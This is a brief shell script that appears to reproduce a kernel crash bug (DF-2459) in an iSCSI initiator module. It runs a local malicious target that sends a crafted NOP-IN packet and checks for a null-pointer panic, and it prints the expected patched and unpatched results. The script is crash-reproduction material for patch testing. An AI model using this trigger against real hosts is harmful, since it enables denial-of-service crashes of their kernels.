#!/bin/sh
# run.sh - reproduce DF-2459: malicious target sends NOP-IN (itt=ffffffff,
# ttt!=ffffffff, AHSLength!=0); _nop_in re-queues it as NOP_OUT; isc_sendPDU
# does bcopy(pp->ahs==NULL,...) -> panic (page fault @0x0).
# Run as root; requires kldload iscsi_initiator.
./mtarget nopin 3260 > mt.log 2>&1 &
sleep 1
./idrv 127.0.0.1 3260 > idrv.log 2>&1
sleep 2
echo "--- idrv.log ---"; cat idrv.log
echo "--- mt.log ---"; cat mt.log
echo "Expected UNPATCHED: panic 'Fatal trap 12 va=0x0 Stopped at memmove+0xb5'."
echo "Expected PATCHED:   idrv 'still alive after 6s (no panic)'."